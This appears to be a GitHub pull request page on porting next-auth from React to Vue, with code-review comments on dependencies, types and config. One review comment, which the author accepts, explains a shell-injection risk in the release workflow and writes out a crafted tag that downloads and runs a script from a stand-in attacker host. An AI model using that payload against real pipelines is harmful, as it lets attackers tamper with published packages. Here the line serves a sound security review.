Skip to content

feat: remove react from next-auth, move to vue - #1

Open
phoenix-ru wants to merge 36 commits into
v4from
feat/remove-react
Open

phoenix-ru wants to merge 36 commits into
v4from
feat/remove-react

Conversation

@phoenix-ru

@phoenix-ru phoenix-ru commented Mar 13, 2026 •

Copy link
Copy Markdown
Member

☕️ Reasoning

This PR removes react, preact and next dependencies from the next-auth package, replacing the functionality with vue instead, for better integration with NuxtAuth.

⚠️ Updated nodemailer peer support to allow newer patched releases and avoid known audit findings from older 7.x versions. Consumers using advanced Nodemailer options should review the breaking changes in 8.0 and 9.0, especially auth error codes and stricter TLS validation for remote content/OAuth/proxy requests.

🧢 Checklist

  • Documentation
  • Tests
  • Ready to be merged

🎫 Affected issues

📌 Resources

@pkg-pr-new

pkg-pr-new Bot commented Apr 10, 2026 •

Copy link
Copy Markdown

Open in StackBlitz

npm i https://pkg.pr.new/@sidebase/fork-authjs@1
pnpm add https://pkg.pr.new/@sidebase/fork-authjs@1
yarn add https://pkg.pr.new/@sidebase/fork-authjs@1.tgz

commit: 82d6abc

phoenix-ru and others added 9 commits April 10, 2026 14:54
The inline email normalizer validated the address on the ASCII `@` before any
Unicode normalization. A character that is a homoglyph of `@` — e.g. U+FF20
FULLWIDTH COMMERCIAL AT — passed the single-`@` (atCount) check, but can be
canonicalized to an ASCII `@` by a downstream address parser (NFKC), splitting
the address into multiple recipients (CWE-180: validate before canonicalize).

Apply `String.prototype.normalize("NFKC")` before validation so any such
homoglyph becomes a real `@` and is rejected by the existing atCount check.
Behaviour on legitimate addresses is unchanged. Adds a regression test.

Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
(cherry picked from commit 19d2feb)
`detectOrigin` returned the auto-detected forwarded host whenever
`VERCEL`/`AUTH_TRUST_HOST` was set, ignoring an explicitly configured
`NEXTAUTH_URL`. A configured canonical URL should always win; only fall
back to the forwarded host when no `NEXTAUTH_URL` is set.

Adds unit tests for detectOrigin precedence.

(cherry picked from commit 2a39465)
Comment thread packages/next-auth/package.json Outdated
"react": "^18",
"react-dom": "^18",
"typescript": "^5.9.3",
"vue": "^3.5.30",

@kboshold kboshold Oct 19, 2026 •

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Q: vue is used at runtime here (as well as in signin.ts/signout.ts & other). Should we add it as peerDependencies?

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Done

Comment thread packages/next-auth/tsconfig.build.json Outdated
"module": "preserve",
"target": "esnext",
"moduleResolution": "bundler",
"allowJs": false,

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Bug?: We have some .js files in this package -> See [here](repo:sidebase/fork-authjs path:/^packages/next-auth/src/providers/.*.js$/). We should still allow js here, should we? (Or convert the remaining .js files to .ts)

Suggested change
"allowJs": false,
"allowJs": true,

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nice one! I set allowJs to true as a safer measure

Comment thread .github/workflows/release.yml Outdated

- name: Verify tag matches package.json version
run: |
TAG="${{ github.event.release.tag_name }}"

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The release workflow puts the tag name straight into shell code, so a crafted tag name can run commands in the job that publishes to npm.

Problem

Both run: steps in .github/workflows/release.yml contain TAG="${{ github.event.release.tag_name }}". GitHub replaces ${{ }} with the tag name before bash starts, so the tag name becomes part of the script. The double quotes don't protect anything, because bash still runs $(...) inside them

How it can be exploited

Git tag names can't contain spaces, but they can contain $, (, ), |, ; and backticks. Anyone who can publish a release, for example with a leaked token or a compromised maintainer account, can create a release with this tag:

v1$(curl${IFS}-sL${IFS}attacker.example/x.sh|sh)

The tag starts with v, so it passes the if: check. The "Verify tag" step turns into TAG="v1$(curl${IFS}-sL${IFS}attacker.example/x.sh|sh)", and bash downloads and runs the attacker's script inside the release job. That script can change the files in the workspace before npm publish runs. Because of --provenance, the tampered package gets a provenance attestation that points to this repo and this workflow, and everyone who installs that version runs the attacker's code in their auth layer.

BUT: Today, someone with release rights could also push a modified workflow, so this is hardening, not an open hole. It still matters because with this pattern a tag name can run code without any reviewed change.

What we should do

Pass the tag in through env and only use "$TAG" in the script. Then bash treats the tag as plain data and never runs it as code:

- name: Verify tag matches package.json version
  env:
    TAG: ${{ github.event.release.tag_name }}
  run: |
    PKG_VERSION=$(node -p "require('./package.json').version")
    if [ "v$PKG_VERSION" != "$TAG" ]; then
      echo "::error ::Tag ($TAG) does not match package.json version (v$PKG_VERSION)"
      exit 1
    fi

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks for the catch, I moved it to be an env

Comment thread packages/next-auth/package.json Outdated
"@next-auth/tsconfig": "workspace:*",
"@swc/core": "^1.2.198",
"@swc/jest": "^0.2.21",
"@testing-library/dom": "^8.13.0",

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

These test dependencies are unused now, because the PR removes src/client/ and with it every client test. Can we drop them?

  • msw (bumped in this PR)
  • jest-environment-jsdom (bumped in this PR)
  • @testing-library/jest-dom
  • @testing-library/dom
  • @testing-library/user-event
  • whatwg-fetch

Two config files hold the last references, so they should go in the same change:

  • the client project in config/jest.config.js. Its testMatch is src/client/**/*.test.js, which matches nothing now, and it is the only project that uses jsdom and jest-setup.js.
  • config/jest-setup.js, which now only imports @testing-library/jest-dom.

Remove jest-environment-jsdom and the client block together. If the block stays, jest stops with "Test environment ... cannot be found" before running any test. Without the block, all 6 core suites (35 tests) still pass.

jest, @swc/jest, @swc/core, @edge-runtime/jest-environment, jest-watch-typeahead and @types/jest are still used by the core tests in tests/ and should stay.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, dropped the unnecessary ones

theme: Theme
}

function renderThemeStyle(theme: Theme): VNode[] {

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nit: The same renderThemeStyle(theme) helper is pasted into signin.ts, signout.ts and verify-request.ts (verify-request has a subset), and error.ts inlines the brandColor style a fourth time. So a risk of drift is given here.

// If `NEXTAUTH_URL` is `undefined` we fall back to "http://localhost:3000"
// `NEXTAUTH_URL` is `undefined` here; callers fall back to
// "http://localhost:3000".
return process.env.NEXTAUTH_URL

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Q: Should we return undefined here? Since "" its also "falsy" we might return "" and not undefined

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I considered doing this and decided not to:

NEXTAUTH_URL detectOrigin() parseUrl()
Unset undefined http://localhost:3000/api/auth
"" "" TypeError: Invalid URL
"https://app.example.test" Configured URL https://app.example.test/api/auth

The reason being is that TypeError which I think is better than silently defaulting to localhost when NEXTAUTH_URL= was provided, would you agree?

Comment thread packages/next-auth/src/jwt/index.ts Outdated
return new TextEncoder().encode(input)
}
if (!(input instanceof Uint8Array)) {
throw new TypeError(`"${label}"" must be an instance of Uint8Array or a string`)

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

nit: typo -> "${label}""

Suggested change
throw new TypeError(`"${label}"" must be an instance of Uint8Array or a string`)
throw new TypeError(`"${label}" must be an instance of Uint8Array or a string`)

Comment thread packages/next-auth/src/jwt/index.ts Outdated
req: GetServerSidePropsContext["req"] | NextRequest | NextApiRequest
req: {
cookies: Record<string, string>
headers: IncomingHttpHeaders

Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Q: Should we use Headers | IncomingHttpHeaders here? The implementation does already check Headers here but the test does use as any here.

Copy link
Copy Markdown
Member Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Thanks, I was slightly confused about the usage of Headers in next-auth, but supporting both of them is a good idea since we already distinguish them in runtime.

This branch has not been deployed

No deployments
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

None yet

Development

Successfully merging this pull request may close these issues.

3 participants